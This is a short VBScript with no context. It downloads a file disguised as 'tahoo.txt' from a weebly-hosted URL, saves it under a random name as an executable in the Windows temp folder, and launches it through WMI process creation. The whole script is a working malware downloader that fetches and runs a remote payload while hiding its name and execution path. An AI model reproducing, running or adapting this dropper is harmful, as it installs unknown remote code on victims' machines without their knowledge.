WScript.Sleep 2000
Randomize
nameLength = 15
RDN_NAME = "A"
Do While Len(RDN_NAME) < nameLength
DirCurr = Int(Rnd * 255)
if DirCurr >= Asc("A") And DirCurr <= Asc("Z") _
Or DirCurr >= Asc("a") And DirCurr <= Asc("z") _
Or DirCurr >= Asc("0") And DirCurr <= Asc("9") then
RDN_NAME = RDN_NAME & Chr(DirCurr)
End if
Loop
strSource = "https://hostingtahoo.weebly.com/uploads/1/2/0/4/120431136/tahoo.txt"
strDest = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\" & RDN_NAME & "A.exe"
set HTTP = CreateObject("Microsoft.XMLHTTP")
HTTP.open "GET", strSource,False
HTTP.send
set Stream = createobject("adodb.stream")
Const adTypeBinary = 1
Const adSaveCreateNotExist = 1
Const adSaveCreateOVerWrite = 2
Stream.type = adTypeBinary
Stream.open
Stream.Write HTTP.responseBody
Stream.savetofile strDest, adSaveCreateOVerWrite
set stream = nothing
set HTTP = nothing

set objWMIService = getobject("winmgmts://./root/cimv2")
set objProcess =     objWMIService.GET("Win32_Process")
set objProgram = objProcess.Methods_( _
"Create").InParameters.SpawnInstance_
objProgram.CommandLine = strDest
set strShell = objWMIService.ExecMethod("Win32_Process", "Create", objProgram)